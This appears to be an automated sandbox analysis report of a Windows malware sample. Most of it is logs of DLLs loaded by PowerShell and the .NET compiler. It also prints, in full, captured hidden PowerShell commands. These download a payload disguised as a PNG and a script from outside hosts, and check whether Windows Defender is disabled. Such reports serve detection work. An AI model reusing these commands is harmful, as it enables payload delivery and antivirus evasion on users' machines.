Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\Executar01aa.ps1"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware -eq 1 $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus -eq 1 # Se ambas as chaves existirem com valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -eq 1 -and $disableAntiVirus -eq 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, verifica se a pasta j existe e a cria se necess rio if ($loopCompleted -and !(Test-Path -Path $folderPath)) { New-Item -ItemType Directory -Path $folderPath -Force Write-Output "Pasta C:\LocalNow criada com sucesso ap s o loop completar." } }"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Test-Path 'C:\temp')) { New-Item -ItemType Directory -Path 'C:\temp' -Force \| Out-Null } try { Invoke-WebRequest -Uri 'http://192.124.216.14/vd/sis/DownSistem.ps1' -OutFile 'C:\temp\DownSistem.ps1' -UseBasicParsing Write-Output 'Arquivo DownSistem.ps1 baixado com sucesso em C:\temp\DownSistem.ps1' } catch { Write-Output 'Erro ao baixar o arquivo DownSistem.ps1: ' exit 1 }"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\swfob4yn.cmdline"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04EF61B9 push esp; iretd	3_2_04EF61F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07D7476F push FFFFFFC3h; ret	3_2_07D747CD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_08F04EA0 push esp; ret	3_2_08F04EA1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_08F0A58D pushfd ; ret	3_2_08F0A651
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_042562A0 push esp; ret	13_2_042562B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_04253A9C push ebx; retf	13_2_04253ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_082E9370 push esp; ret	13_2_082E9383
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B21D2A5 pushad ; iretd	17_2_00007FFD9B21D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B3373D2 push eax; retf	17_2_00007FFD9B3373E1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD9B3373E2 push eax; retf	17_2_00007FFD9B3373E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_03446321 push esp; ret	19_2_03446333
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0344633C push esp; ret	19_2_03446333
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_034493F8 pushfd ; iretd	19_2_03449579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0344423B push ebx; ret	19_2_034442DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_034436D7 push ebx; iretd	19_2_034436DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_034494F0 pushfd ; iretd	19_2_03449579
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_03443ACD push ebx; retf	19_2_03443ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_087AD501 push eax; ret	19_2_087AD513
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_0416364D push ebx; iretd	24_2_041636DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_041636DB push ebx; iretd	24_2_041636DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0497423B push ebx; ret	28_2_049742DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0497426B push ebx; ret	28_2_049742DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0497CBF8 push eax; ret	28_2_0497CC01
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07804996 push dword ptr [eax+eax*2-75h]; iretd	28_2_0780499C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 32_2_034DF312 push esp; retf	32_2_034DF321
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 32_2_034DF322 pushfd ; retf	32_2_034DF361
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 32_2_07B8290E push ecx; retf	32_2_07B82918
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 34_2_00007FFD9B353B22 pushad ; ret	34_2_00007FFD9B353B31
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_04903477 push eax; iretd	36_2_049034D1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_04907610 push esp; ret	36_2_04907623
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_04907660 push eax; ret	36_2_04907673

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI63A3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI7F3.tmp	Jump to dropped file
